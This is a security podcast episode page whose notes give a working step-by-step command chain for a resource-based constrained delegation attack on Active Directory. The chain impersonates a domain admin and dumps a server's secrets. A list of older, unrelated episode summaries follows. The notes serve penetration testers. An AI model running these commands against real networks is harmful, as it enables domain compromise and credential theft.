7MS #521: Tales of Pentest Pwnage - Part 36

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Episoder(683)

7MS #59: Traveling with a Red Giant – Part 2 (audio)

7MS #59: Traveling with a Red Giant – Part 2 (audio)

A few episodes back I talked about Red Giant, a cool service that provides you with a pre-paid debit card that can be controlled/locked with your phone. I finally got my card working, and this episode’s about some cool things I learned about it. 7MS #59: Traveling with a Red Giant – Part 2 (audio)

7 Mai 20157min

7MS #58: What Should We Do First? (audio)

7MS #58: What Should We Do First? (audio)

At the end of just about every assessment I deliver, the client asks “What should we do first?” They (understandably) want to know a “top 5″ list of things they should change right away to improve their security posture. Today’s episode explores that a bit. 7MS #58: What Should We Do Next? (audio)

5 Mai 20158min

7MS #57: How to Review a Firewall (audio)

7MS #57: How to Review a Firewall (audio)

In this episode I talk about a few different ways to approach firewall reviews/audits. This document was very helpful in getting my template started. Also check out Nipper if you’re looking for a firewall review/audit tool. 7MS #57: How to Review a Firewall (audio)

30 Apr 20158min

7MS #56: OFFTOPIC – Catching Up and Blowing Noses (audio)

7MS #56: OFFTOPIC – Catching Up and Blowing Noses (audio)

A few offtopic things: What you can expect as far as a podcast release schedule going forward Two suspicious charges that showed up on my credit card while out of town! 7MS #56: OFFTOPIC – Catching Up and Blowing Noses (audio)

28 Apr 20158min

7MS #55: OFFTOPIC – What’s in Brian’s Murse? (video)

7MS #55: OFFTOPIC – What’s in Brian’s Murse? (video)

Ok I don’t really have a murse, but I wanted to do a short video(!) podcast to show you some sorta-security-related gadgets that I’ve been nerding out on the last few weeks. 7MS #55: OFFTOPIC – What’s in Brian’s Murse? (video)

22 Apr 20156min

7MS #54: Traveling with a Red Giant (audio)

7MS #54: Traveling with a Red Giant (audio)

If you’re concerned about your credit/debit card security, you might want to give Red Giant a try. It’s a service that provides a debit card you can unlock *only* when buying something. It’s cool. Oh, and Red Giant is NOT sponsoring this episode. If I ever get sponsors, I’ll disclose them clearly. :-) 7MS #54:…

16 Apr 20157min

7MS #53: Are You Ready to Get Robbed? (audio)

7MS #53: Are You Ready to Get Robbed? (audio)

Business DR plans are a hugely important – and often overlooked – piece of the infosec puzzle. But what about at home? If you got run over by a bus tomorrow, would you have good plans in place to help your partner/spouse take over the tech side of your household? That’s what we’re talkin’ about…

14 Apr 20157min

7MS #52: OFFTOPIC – My Son is Really Loyal (audio)

7MS #52: OFFTOPIC – My Son is Really Loyal (audio)

It’s another off-topic episode today. This one’s about how my eight-year-old son is fiercely loyal, and wants to settle a 25-year-old score for me. 7MS #52: OFFTOPIC – My Son is Really Loyal (audio)

9 Apr 20158min

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